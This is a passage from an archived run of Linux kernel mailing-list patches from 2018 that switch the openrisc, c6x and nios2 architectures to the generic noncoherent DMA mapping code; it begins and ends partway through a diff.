diff --git a/arch/openrisc/kernel/dma.c b/arch/openrisc/kernel/dma.c
index ec7fd45704d2..cce99405edf4 100644
--- a/arch/openrisc/kernel/dma.c
+++ b/arch/openrisc/kernel/dma.c
@@ -19,9 +19,7 @@
  * the only thing implemented properly.  The rest need looking into...
  */
 
-#include <linux/dma-mapping.h>
-#include <linux/dma-debug.h>
-#include <linux/export.h>
+#include <linux/dma-noncoherent.h>
 
 #include <asm/cpuinfo.h>
 #include <asm/spr_defs.h>
@@ -80,10 +78,9 @@ page_clear_nocache(pte_t *pte, unsigned long addr,
  * is being ignored for now; uncached but write-combined memory is a
  * missing feature of the OR1K.
  */
-static void *
-or1k_dma_alloc(struct device *dev, size_t size,
-	       dma_addr_t *dma_handle, gfp_t gfp,
-	       unsigned long attrs)
+void *
+arch_dma_alloc(struct device *dev, size_t size, dma_addr_t *dma_handle,
+		gfp_t gfp, unsigned long attrs)
 {
 	unsigned long va;
 	void *page;
@@ -115,9 +112,9 @@ or1k_dma_alloc(struct device *dev, size_t size,
 	return (void *)va;
 }
 
-static void
-or1k_dma_free(struct device *dev, size_t size, void *vaddr,
-	      dma_addr_t dma_handle, unsigned long attrs)
+void
+arch_dma_free(struct device *dev, size_t size, void *vaddr,
+		dma_addr_t dma_handle, unsigned long attrs)
 {
 	unsigned long va = (unsigned long)vaddr;
 	struct mm_walk walk = {
@@ -133,18 +130,11 @@ or1k_dma_free(struct device *dev, size_t size, void *vaddr,
 	free_pages_exact(vaddr, size);
 }
 
-static dma_addr_t
-or1k_map_page(struct device *dev, struct page *page,
-	      unsigned long offset, size_t size,
-	      enum dma_data_direction dir,
-	      unsigned long attrs)
+void arch_sync_dma_for_device(struct device *dev, phys_addr_t addr, size_t size,
+		enum dma_data_direction dir)
 {
-	unsigned long cl;
-	dma_addr_t addr = page_to_phys(page) + offset;
 	struct cpuinfo_or1k *cpuinfo = &cpuinfo_or1k[smp_processor_id()];
-
-	if (attrs & DMA_ATTR_SKIP_CPU_SYNC)
-		return addr;
+	unsigned long cl;
 
 	switch (dir) {
 	case DMA_TO_DEVICE:
@@ -167,83 +157,4 @@ or1k_map_page(struct device *dev, struct page *page,
 		 */
 		break;
 	}
-
-	return addr;
 }
-
-static void
-or1k_unmap_page(struct device *dev, dma_addr_t dma_handle,
-		size_t size, enum dma_data_direction dir,
-		unsigned long attrs)
-{
-	/* Nothing special to do here... */
-}
-
-static int
-or1k_map_sg(struct device *dev, struct scatterlist *sg,
-	    int nents, enum dma_data_direction dir,
-	    unsigned long attrs)
-{
-	struct scatterlist *s;
-	int i;
-
-	for_each_sg(sg, s, nents, i) {
-		s->dma_address = or1k_map_page(dev, sg_page(s), s->offset,
-					       s->length, dir, 0);
-	}
-
-	return nents;
-}
-
-static void
-or1k_unmap_sg(struct device *dev, struct scatterlist *sg,
-	      int nents, enum dma_data_direction dir,
-	      unsigned long attrs)
-{
-	struct scatterlist *s;
-	int i;
-
-	for_each_sg(sg, s, nents, i) {
-		or1k_unmap_page(dev, sg_dma_address(s), sg_dma_len(s), dir, 0);
-	}
-}
-
-static void
-or1k_sync_single_for_cpu(struct device *dev,
-			 dma_addr_t dma_handle, size_t size,
-			 enum dma_data_direction dir)
-{
-	unsigned long cl;
-	dma_addr_t addr = dma_handle;
-	struct cpuinfo_or1k *cpuinfo = &cpuinfo_or1k[smp_processor_id()];
-
-	/* Invalidate the dcache for the requested range */
-	for (cl = addr; cl < addr + size; cl += cpuinfo->dcache_block_size)
-		mtspr(SPR_DCBIR, cl);
-}
-
-static void
-or1k_sync_single_for_device(struct device *dev,
-			    dma_addr_t dma_handle, size_t size,
-			    enum dma_data_direction dir)
-{
-	unsigned long cl;
-	dma_addr_t addr = dma_handle;
-	struct cpuinfo_or1k *cpuinfo = &cpuinfo_or1k[smp_processor_id()];
-
-	/* Flush the dcache for the requested range */
-	for (cl = addr; cl < addr + size; cl += cpuinfo->dcache_block_size)
-		mtspr(SPR_DCBFR, cl);
-}
-
-const struct dma_map_ops or1k_dma_map_ops = {
-	.alloc = or1k_dma_alloc,
-	.free = or1k_dma_free,
-	.map_page = or1k_map_page,
-	.unmap_page = or1k_unmap_page,
-	.map_sg = or1k_map_sg,
-	.unmap_sg = or1k_unmap_sg,
-	.sync_single_for_cpu = or1k_sync_single_for_cpu,
-	.sync_single_for_device = or1k_sync_single_for_device,
-};
-EXPORT_SYMBOL(or1k_dma_map_ops);
-- 
2.17.0



From - Thu Nov 08 21:41:20 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch@lst.de>
Newsgroups: gmane.linux.kernel.arc,gmane.linux.kernel.cross-arch,gmane.linux.ports.parisc,gmane.linux.ports.sh.devel,gmane.linux.ports.hexagon,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.sparc,gmane.linux.ports.arm.kernel
Subject: [PATCH 08/22] c6x: use generic dma_noncoherent_ops
Date: Fri, 20 Apr 2018 10:02:59 +0200
Lines: 318
Approved: news@gmane.org
Message-ID: <20180420080313.18796-9-hch@lst.de>
References: <20180420080313.18796-1-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1524211663 6026 195.159.176.226 (20 Apr 2018 08:07:43 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 20 Apr 2018 08:07:43 +0000 (UTC)
Cc: linux-arch@vger.kernel.org, linux-xtensa@linux-xtensa.org,
 Michal Simek <monstr@monstr.eu>, Vincent Chen <deanbo422@gmail.com>,
 linux-c6x-dev@linux-c6x.org, linux-parisc@vger.kernel.org,
 linux-sh@vger.kernel.org, linux-hexagon@vger.kernel.org,
 linux-kernel@vger.kernel.org, linux-m68k@lists.linux-m68k.org,
 openrisc@lists.librecores.org, Greentime Hu <green.hu@gmail.com>,
 linux-alpha@vger.kernel.org, sparclinux@vger.kernel.org,
 nios2-dev@lists.rocketboards.org, linux-snps-arc@lists.infradead.org,
 linux-arm-kernel@lists.infradead.org
Original-X-From: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org Fri Apr 20 10:07:38 2018
Return-path: <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>
Envelope-to: gla-linux-snps-arc@m.gmane.org
Original-Received: from bombadil.infradead.org ([198.137.202.133])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>)
	id 1f9R4z-0001Tb-OQ
	for gla-linux-snps-arc@m.gmane.org; Fri, 20 Apr 2018 10:07:38 +0200
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=lists.infradead.org; s=bombadil.20170209; h=Sender:
	Content-Transfer-Encoding:Content-Type:MIME-Version:Cc:List-Subscribe:
	List-Help:List-Post:List-Archive:List-Unsubscribe:List-Id:References:
	In-Reply-To:Message-Id:Date:Subject:To:From:Reply-To:Content-ID:
	Content-Description:Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc
	:Resent-Message-ID:List-Owner;
	bh=n2umVwkUX8RqTxzBhUKW3mm00TTnNW6z5XzljZjmkUg=; b=UX/54X29KwUrBxMyYKWFZWkpaz
	l+gPULS5Kj+mbdnn+LbGRDH7hjtB2PjeQ9TBp0kP1xXFSw2c2aOb3QMd3IOOnOr3ABYDCkAGgokh1
	50QBKrYWUMEQGx0mo17JlGFWe5HavmMdEarQOIj90X41Xuv42gXjptVaVcTL43fJQD8M2SvuDLYzk
	vp7fez64ldbDjUoaW+s5dZSN4YKMkfyGvcID0UG4Rd5qHODqbHVdTalZQ8mNI9nI69l2PepZtmxEq
	tCxeLSSodgzikX2NYfkYyT3wG1QBE10tJDGhaZuOFYdkZGwdZKtMZ8yxOszFkqcZRYijwhMXBiIY1
	BLClYi/g==;
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.90_1 #2 (Red Hat Linux))
	id 1f9R73-0002qj-7y; Fri, 20 Apr 2018 08:09:45 +0000
Original-Received: from static-242-42-24-46.ipcom.comunitel.net ([46.24.42.242]
 helo=localhost)
 by bombadil.infradead.org with esmtpsa (Exim 4.90_1 #2 (Red Hat Linux))
 id 1f9R1D-0007QD-II; Fri, 20 Apr 2018 08:03:44 +0000
X-Mailer: git-send-email 2.17.0
In-Reply-To: <20180420080313.18796-1-hch@lst.de>
X-BeenThere: linux-snps-arc@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: Linux on Synopsys ARC Processors <linux-snps-arc.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-snps-arc/>
List-Post: <mailto:linux-snps-arc@lists.infradead.org>
List-Help: <mailto:linux-snps-arc-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-snps-arc" <linux-snps-arc-bounces@lists.infradead.org>
Errors-To: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.kernel.arc:3815 gmane.linux.kernel.cross-arch:43573 gmane.linux.ports.parisc:28530 gmane.linux.ports.sh.devel:56881 gmane.linux.ports.hexagon:1658 gmane.linux.kernel:2746086 gmane.linux.ports.alpha:4972 gmane.linux.ports.sparc:27698 gmane.linux.ports.arm.kernel:644807
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.arc/3815>

Switch to the generic noncoherent direct mapping implementation.

Signed-off-by: Christoph Hellwig <hch@lst.de>
---
 arch/c6x/Kconfig                   |   3 +
 arch/c6x/include/asm/Kbuild        |   1 +
 arch/c6x/include/asm/dma-mapping.h |  28 ------
 arch/c6x/include/asm/setup.h       |   2 +
 arch/c6x/kernel/Makefile           |   2 +-
 arch/c6x/kernel/dma.c              | 138 -----------------------------
 arch/c6x/mm/dma-coherent.c         |  40 ++++++++-
 7 files changed, 44 insertions(+), 170 deletions(-)
 delete mode 100644 arch/c6x/include/asm/dma-mapping.h
 delete mode 100644 arch/c6x/kernel/dma.c

diff --git a/arch/c6x/Kconfig b/arch/c6x/Kconfig
index c6b4dd1418b4..8d7a3b38810f 100644
--- a/arch/c6x/Kconfig
+++ b/arch/c6x/Kconfig
@@ -6,7 +6,10 @@
 
 config C6X
 	def_bool y
+	select ARCH_HAS_SYNC_DMA_FOR_CPU
+	select ARCH_HAS_SYNC_DMA_FOR_DEVICE
 	select CLKDEV_LOOKUP
+	select DMA_NONCOHERENT_OPS
 	select GENERIC_ATOMIC64
 	select GENERIC_IRQ_SHOW
 	select HAVE_ARCH_TRACEHOOK
diff --git a/arch/c6x/include/asm/Kbuild b/arch/c6x/include/asm/Kbuild
index fd4c840de837..434600e47662 100644
--- a/arch/c6x/include/asm/Kbuild
+++ b/arch/c6x/include/asm/Kbuild
@@ -5,6 +5,7 @@ generic-y += current.h
 generic-y += device.h
 generic-y += div64.h
 generic-y += dma.h
+generic-y += dma-mapping.h
 generic-y += emergency-restart.h
 generic-y += exec.h
 generic-y += extable.h
diff --git a/arch/c6x/include/asm/dma-mapping.h b/arch/c6x/include/asm/dma-mapping.h
deleted file mode 100644
index 05daf1038111..000000000000
--- a/arch/c6x/include/asm/dma-mapping.h
+++ /dev/null
@@ -1,28 +0,0 @@
-/*
- *  Port on Texas Instruments TMS320C6x architecture
- *
- *  Copyright (C) 2004, 2009, 2010, 2011 Texas Instruments Incorporated
- *  Author: Aurelien Jacquiot <aurelien.jacquiot@ti.com>
- *
- *  This program is free software; you can redistribute it and/or modify
- *  it under the terms of the GNU General Public License version 2 as
- *  published by the Free Software Foundation.
- *
- */
-#ifndef _ASM_C6X_DMA_MAPPING_H
-#define _ASM_C6X_DMA_MAPPING_H
-
-extern const struct dma_map_ops c6x_dma_ops;
-
-static inline const struct dma_map_ops *get_arch_dma_ops(struct bus_type *bus)
-{
-	return &c6x_dma_ops;
-}
-
-extern void coherent_mem_init(u32 start, u32 size);
-void *c6x_dma_alloc(struct device *dev, size_t size, dma_addr_t *handle,
-		gfp_t gfp, unsigned long attrs);
-void c6x_dma_free(struct device *dev, size_t size, void *vaddr,
-		dma_addr_t dma_handle, unsigned long attrs);
-
-#endif	/* _ASM_C6X_DMA_MAPPING_H */
diff --git a/arch/c6x/include/asm/setup.h b/arch/c6x/include/asm/setup.h
index 852afb209afb..350f34debb19 100644
--- a/arch/c6x/include/asm/setup.h
+++ b/arch/c6x/include/asm/setup.h
@@ -28,5 +28,7 @@ extern unsigned char c6x_fuse_mac[6];
 extern void machine_init(unsigned long dt_ptr);
 extern void time_init(void);
 
+extern void coherent_mem_init(u32 start, u32 size);
+
 #endif /* !__ASSEMBLY__ */
 #endif /* _ASM_C6X_SETUP_H */
diff --git a/arch/c6x/kernel/Makefile b/arch/c6x/kernel/Makefile
index 02f340d7b8fe..fbe74174de87 100644
--- a/arch/c6x/kernel/Makefile
+++ b/arch/c6x/kernel/Makefile
@@ -8,6 +8,6 @@ extra-y := head.o vmlinux.lds
 obj-y := process.o traps.o irq.o signal.o ptrace.o
 obj-y += setup.o sys_c6x.o time.o devicetree.o
 obj-y += switch_to.o entry.o vectors.o c6x_ksyms.o
-obj-y += soc.o dma.o
+obj-y += soc.o
 
 obj-$(CONFIG_MODULES)           += module.o
diff --git a/arch/c6x/kernel/dma.c b/arch/c6x/kernel/dma.c
deleted file mode 100644
index 31e1a9ec3a9c..000000000000
--- a/arch/c6x/kernel/dma.c
+++ /dev/null
@@ -1,138 +0,0 @@
-/*
- *  Copyright (C) 2011 Texas Instruments Incorporated
- *  Author: Mark Salter <msalter@redhat.com>
- *
- *  This program is free software; you can redistribute it and/or modify
- *  it under the terms of the GNU General Public License version 2 as
- *  published by the Free Software Foundation.
- */
-#include <linux/module.h>
-#include <linux/dma-mapping.h>
-#include <linux/mm.h>
-#include <linux/mm_types.h>
-#include <linux/scatterlist.h>
-
-#include <asm/cacheflush.h>
-
-static void c6x_dma_sync(dma_addr_t handle, size_t size,
-			 enum dma_data_direction dir)
-{
-	unsigned long paddr = handle;
-
-	BUG_ON(!valid_dma_direction(dir));
-
-	switch (dir) {
-	case DMA_FROM_DEVICE:
-		L2_cache_block_invalidate(paddr, paddr + size);
-		break;
-	case DMA_TO_DEVICE:
-		L2_cache_block_writeback(paddr, paddr + size);
-		break;
-	case DMA_BIDIRECTIONAL:
-		L2_cache_block_writeback_invalidate(paddr, paddr + size);
-		break;
-	default:
-		break;
-	}
-}
-
-static dma_addr_t c6x_dma_map_page(struct device *dev, struct page *page,
-		unsigned long offset, size_t size, enum dma_data_direction dir,
-		unsigned long attrs)
-{
-	dma_addr_t handle = virt_to_phys(page_address(page) + offset);
-
-	if (!(attrs & DMA_ATTR_SKIP_CPU_SYNC))
-		c6x_dma_sync(handle, size, dir);
-
-	return handle;
-}
-
-static void c6x_dma_unmap_page(struct device *dev, dma_addr_t handle,
-		size_t size, enum dma_data_direction dir, unsigned long attrs)
-{
-	if (!(attrs & DMA_ATTR_SKIP_CPU_SYNC))
-		c6x_dma_sync(handle, size, dir);
-}
-
-static int c6x_dma_map_sg(struct device *dev, struct scatterlist *sglist,
-		int nents, enum dma_data_direction dir, unsigned long attrs)
-{
-	struct scatterlist *sg;
-	int i;
-
-	for_each_sg(sglist, sg, nents, i) {
-		sg->dma_address = sg_phys(sg);
-		if (!(attrs & DMA_ATTR_SKIP_CPU_SYNC))
-			c6x_dma_sync(sg->dma_address, sg->length, dir);
-	}
-
-	return nents;
-}
-
-static void c6x_dma_unmap_sg(struct device *dev, struct scatterlist *sglist,
-		  int nents, enum dma_data_direction dir, unsigned long attrs)
-{
-	struct scatterlist *sg;
-	int i;
-
-	if (attrs & DMA_ATTR_SKIP_CPU_SYNC)
-		return;
-
-	for_each_sg(sglist, sg, nents, i)
-		c6x_dma_sync(sg_dma_address(sg), sg->length, dir);
-}
-
-static void c6x_dma_sync_single_for_cpu(struct device *dev, dma_addr_t handle,
-		size_t size, enum dma_data_direction dir)
-{
-	c6x_dma_sync(handle, size, dir);
-
-}
-
-static void c6x_dma_sync_single_for_device(struct device *dev,
-		dma_addr_t handle, size_t size, enum dma_data_direction dir)
-{
-	c6x_dma_sync(handle, size, dir);
-
-}
-
-static void c6x_dma_sync_sg_for_cpu(struct device *dev,
-		struct scatterlist *sglist, int nents,
-		enum dma_data_direction dir)
-{
-	struct scatterlist *sg;
-	int i;
-
-	for_each_sg(sglist, sg, nents, i)
-		c6x_dma_sync_single_for_cpu(dev, sg_dma_address(sg),
-					sg->length, dir);
-
-}
-
-static void c6x_dma_sync_sg_for_device(struct device *dev,
-		struct scatterlist *sglist, int nents,
-		enum dma_data_direction dir)
-{
-	struct scatterlist *sg;
-	int i;
-
-	for_each_sg(sglist, sg, nents, i)
-		c6x_dma_sync_single_for_device(dev, sg_dma_address(sg),
-					   sg->length, dir);
-
-}
-
-const struct dma_map_ops c6x_dma_ops = {
-	.alloc			= c6x_dma_alloc,
-	.free			= c6x_dma_free,
-	.map_page		= c6x_dma_map_page,
-	.unmap_page		= c6x_dma_unmap_page,
-	.map_sg			= c6x_dma_map_sg,
-	.unmap_sg		= c6x_dma_unmap_sg,
-	.sync_single_for_device	= c6x_dma_sync_single_for_device,
-	.sync_single_for_cpu	= c6x_dma_sync_single_for_cpu,
-	.sync_sg_for_device	= c6x_dma_sync_sg_for_device,
-	.sync_sg_for_cpu	= c6x_dma_sync_sg_for_cpu,
-};
-EXPORT_SYMBOL(c6x_dma_ops);
diff --git a/arch/c6x/mm/dma-coherent.c b/arch/c6x/mm/dma-coherent.c
index 95e38ad27c69..d0a8e0c4b27e 100644
--- a/arch/c6x/mm/dma-coherent.c
+++ b/arch/c6x/mm/dma-coherent.c
@@ -19,10 +19,12 @@
 #include <linux/bitops.h>
 #include <linux/module.h>
 #include <linux/interrupt.h>
-#include <linux/dma-mapping.h>
+#include <linux/dma-noncoherent.h>
 #include <linux/memblock.h>
 
+#include <asm/cacheflush.h>
 #include <asm/page.h>
+#include <asm/setup.h>
 
 /*
  * DMA coherent memory management, can be redefined using the memdma=
@@ -73,7 +75,7 @@ static void __free_dma_pages(u32 addr, int order)
  * Allocate DMA coherent memory space and return both the kernel
  * virtual and DMA address for that space.
  */
-void *c6x_dma_alloc(struct device *dev, size_t size, dma_addr_t *handle,
+void *arch_dma_alloc(struct device *dev, size_t size, dma_addr_t *handle,
 		gfp_t gfp, unsigned long attrs)
 {
 	u32 paddr;
@@ -98,7 +100,7 @@ void *c6x_dma_alloc(struct device *dev, size_t size, dma_addr_t *handle,
 /*
  * Free DMA coherent memory as defined by the above mapping.
  */
-void c6x_dma_free(struct device *dev, size_t size, void *vaddr,
+void arch_dma_free(struct device *dev, size_t size, void *vaddr,
 		dma_addr_t dma_handle, unsigned long attrs)
 {
 	int order;
@@ -139,3 +141,35 @@ void __init coherent_mem_init(phys_addr_t start, u32 size)
 	dma_bitmap = phys_to_virt(bitmap_phys);
 	memset(dma_bitmap, 0, dma_pages * PAGE_SIZE);
 }
+
+static void c6x_dma_sync(struct device *dev, phys_addr_t paddr, size_t size,
+		enum dma_data_direction dir)
+{
+	BUG_ON(!valid_dma_direction(dir));
+
+	switch (dir) {
+	case DMA_FROM_DEVICE:
+		L2_cache_block_invalidate(paddr, paddr + size);
+		break;
+	case DMA_TO_DEVICE:
+		L2_cache_block_writeback(paddr, paddr + size);
+		break;
+	case DMA_BIDIRECTIONAL:
+		L2_cache_block_writeback_invalidate(paddr, paddr + size);
+		break;
+	default:
+		break;
+	}
+}
+
+void arch_sync_dma_for_device(struct device *dev, phys_addr_t paddr,
+		size_t size, enum dma_data_direction dir)
+{
+	return c6x_dma_sync(dev, paddr, size, dir);
+}
+
+void arch_sync_dma_for_cpu(struct device *dev, phys_addr_t paddr,
+		size_t size, enum dma_data_direction dir)
+{
+	return c6x_dma_sync(dev, paddr, size, dir);
+}
-- 
2.17.0

From - Thu Nov 08 21:41:20 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch@lst.de>
Newsgroups: gmane.linux.kernel,gmane.linux.kernel.cross-arch,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.parisc,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc
Subject: [PATCH 14/22] nios2: use generic dma_noncoherent_ops
Date: Fri, 20 Apr 2018 10:03:05 +0200
Lines: 249
Approved: news@gmane.org
Message-ID: <20180420080313.18796-15-hch@lst.de>
References: <20180420080313.18796-1-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1524211709 8563 195.159.176.226 (20 Apr 2018 08:08:29 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 20 Apr 2018 08:08:29 +0000 (UTC)
Cc: linux-arch@vger.kernel.org, Michal Simek <monstr@monstr.eu>,
        Greentime Hu <green.hu@gmail.com>,
        Vincent Chen <deanbo422@gmail.com>,
        linux-alpha@vger.kernel.org, linux-snps-arc@lists.infradead.org,
        linux-arm-kernel@lists.infradead.org, linux-c6x-dev@linux-c6x.org,
        linux-hexagon@vger.kernel.org, linux-m68k@lists.linux-m68k.org,
        nios2-dev@lists.rocketboards.org, openrisc@lists.librecores.org,
        linux-parisc@vger.kernel.org, linux-sh@vger.kernel.org,
        sparclinux@vger.kernel.org, linux-xtensa@linux-xtensa.org,
        linux-kernel@vger.kernel.org
To: unlisted-recipients:; (no To-header on input)
Original-X-From: linux-kernel-owner@vger.kernel.org Fri Apr 20 10:08:23 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1f9R5i-00028N-Hf
	for glk-linux-kernel-4@m.gmane.org; Fri, 20 Apr 2018 10:08:23 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1754378AbeDTIKa (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Fri, 20 Apr 2018 04:10:30 -0400
Original-Received: from bombadil.infradead.org ([198.137.202.133]:40468 "EHLO
        bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1754194AbeDTIEk (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Fri, 20 Apr 2018 04:04:40 -0400
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
        d=infradead.org; s=bombadil.20170209; h=References:In-Reply-To:Message-Id:
        Date:Subject:Cc:To:From:Sender:Reply-To:MIME-Version:Content-Type:
        Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
        Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
        List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
         bh=+rBZp5MrPhKUBBPkwFpz3SZeiLKiihKQZowXAPIW6cI=; b=s+u9/tR2FsIRFVCnrkmIXGHYv
        VwKrIJc4COz6EE8sQ8LWa6U70stxF1A0k/8ZsNZLXwOL5HyxvJWm6JfPOUw0DXeRtnana6Tb22tfo
        chguSheLnYXtlYXbhulmfwBtLyGvJU6TpOcsTXpo4ysoDPzp0ReAFb7nJ2F4hGy0aTbKsIAFbhOCJ
        DYkYH0nmAXt23ncOzQHsX1fzNgXsWI4+i7Y5xkXOrvHUsgsgrh62wE2sWWCNhw7OFxzyfrXYPG1QM
        giOymzofiow9dhUioPMkKU1w4BuqqtZIp+Kz9Y6vg/cpB6vKQx1eD4vRB6D14aLdjtDMwGjomwhO2
    
Original-Received: from static-242-42-24-46.ipcom.comunitel.net ([46.24.42.242] helo=localhost)
        by bombadil.infradead.org with esmtpsa (Exim 4.90_1 #2 (Red Hat Linux))
        id 1f9R1Y-0007bU-I2; Fri, 20 Apr 2018 08:04:05 +0000
X-Mailer: git-send-email 2.17.0
In-Reply-To: <20180420080313.18796-1-hch@lst.de>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch@infradead.org> by bombadil.infradead.org. See http://www.infradead.org/rpr.html
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2746089 gmane.linux.kernel.cross-arch:43574 gmane.linux.ports.alpha:4973 gmane.linux.kernel.arc:3816 gmane.linux.ports.arm.kernel:644808 gmane.linux.ports.hexagon:1659 gmane.linux.ports.parisc:28531 gmane.linux.ports.sh.devel:56882 gmane.linux.ports.sparc:27699
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2746089>

Switch to the generic noncoherent direct mapping implementation.

Signed-off-by: Christoph Hellwig <hch@lst.de>
---
 arch/nios2/Kconfig                   |   3 +
 arch/nios2/include/asm/Kbuild        |   1 +
 arch/nios2/include/asm/dma-mapping.h |  20 ----
 arch/nios2/mm/dma-mapping.c          | 139 +++------------------------
 4 files changed, 17 insertions(+), 146 deletions(-)
 delete mode 100644 arch/nios2/include/asm/dma-mapping.h

diff --git a/arch/nios2/Kconfig b/arch/nios2/Kconfig
index 3d4ec88f1db1..92035042cf62 100644
--- a/arch/nios2/Kconfig
+++ b/arch/nios2/Kconfig
@@ -1,6 +1,9 @@
 # SPDX-License-Identifier: GPL-2.0
 config NIOS2
 	def_bool y
+	select ARCH_HAS_SYNC_DMA_FOR_CPU
+	select ARCH_HAS_SYNC_DMA_FOR_DEVICE
+	select DMA_NONCOHERENT_OPS
 	select TIMER_OF
 	select GENERIC_ATOMIC64
 	select GENERIC_CLOCKEVENTS
diff --git a/arch/nios2/include/asm/Kbuild b/arch/nios2/include/asm/Kbuild
index d232da2cbb38..24f6ee1ee69b 100644
--- a/arch/nios2/include/asm/Kbuild
+++ b/arch/nios2/include/asm/Kbuild
@@ -8,6 +8,7 @@ generic-y += current.h
 generic-y += device.h
 generic-y += div64.h
 generic-y += dma.h
+generic-y += dma-mapping.h
 generic-y += emergency-restart.h
 generic-y += exec.h
 generic-y += extable.h
diff --git a/arch/nios2/include/asm/dma-mapping.h b/arch/nios2/include/asm/dma-mapping.h
deleted file mode 100644
index 6ceb92251da0..000000000000
--- a/arch/nios2/include/asm/dma-mapping.h
+++ /dev/null
@@ -1,20 +0,0 @@
-/*
- * Copyright (C) 2011 Tobias Klauser <tklauser@distanz.ch>
- * Copyright (C) 2009 Wind River Systems Inc
- *
- * This file is subject to the terms and conditions of the GNU General
- * Public License.  See the file COPYING in the main directory of this
- * archive for more details.
- */
-
-#ifndef _ASM_NIOS2_DMA_MAPPING_H
-#define _ASM_NIOS2_DMA_MAPPING_H
-
-extern const struct dma_map_ops nios2_dma_ops;
-
-static inline const struct dma_map_ops *get_arch_dma_ops(struct bus_type *bus)
-{
-	return &nios2_dma_ops;
-}
-
-#endif /* _ASM_NIOS2_DMA_MAPPING_H */
diff --git a/arch/nios2/mm/dma-mapping.c b/arch/nios2/mm/dma-mapping.c
index 4be815519dd4..4af9e5b5ba1c 100644
--- a/arch/nios2/mm/dma-mapping.c
+++ b/arch/nios2/mm/dma-mapping.c
@@ -12,18 +12,18 @@
 
 #include <linux/types.h>
 #include <linux/mm.h>
-#include <linux/export.h>
 #include <linux/string.h>
-#include <linux/scatterlist.h>
 #include <linux/dma-mapping.h>
 #include <linux/io.h>
 #include <linux/cache.h>
 #include <asm/cacheflush.h>
 
-static inline void __dma_sync_for_device(void *vaddr, size_t size,
-			      enum dma_data_direction direction)
+void arch_sync_dma_for_device(struct device *dev, phys_addr_t paddr,
+		size_t size, enum dma_data_direction dir)
 {
-	switch (direction) {
+	void *vaddr = phys_to_virt(paddr);
+
+	switch (dir) {
 	case DMA_FROM_DEVICE:
 		invalidate_dcache_range((unsigned long)vaddr,
 			(unsigned long)(vaddr + size));
@@ -42,10 +42,12 @@ static inline void __dma_sync_for_device(void *vaddr, size_t size,
 	}
 }
 
-static inline void __dma_sync_for_cpu(void *vaddr, size_t size,
-			      enum dma_data_direction direction)
+void arch_sync_dma_for_cpu(struct device *dev, phys_addr_t paddr,
+		size_t size, enum dma_data_direction dir)
 {
-	switch (direction) {
+	void *vaddr = phys_to_virt(paddr);
+
+	switch (dir) {
 	case DMA_BIDIRECTIONAL:
 	case DMA_FROM_DEVICE:
 		invalidate_dcache_range((unsigned long)vaddr,
@@ -58,8 +60,8 @@ static inline void __dma_sync_for_cpu(void *vaddr, size_t size,
 	}
 }
 
-static void *nios2_dma_alloc(struct device *dev, size_t size,
-		dma_addr_t *dma_handle, gfp_t gfp, unsigned long attrs)
+void *arch_dma_alloc(struct device *dev, size_t size, dma_addr_t *dma_handle,
+		gfp_t gfp, unsigned long attrs)
 {
 	void *ret;
 
@@ -80,125 +82,10 @@ static void *nios2_dma_alloc(struct device *dev, size_t size,
 	return ret;
 }
 
-static void nios2_dma_free(struct device *dev, size_t size, void *vaddr,
+void arch_dma_free(struct device *dev, size_t size, void *vaddr,
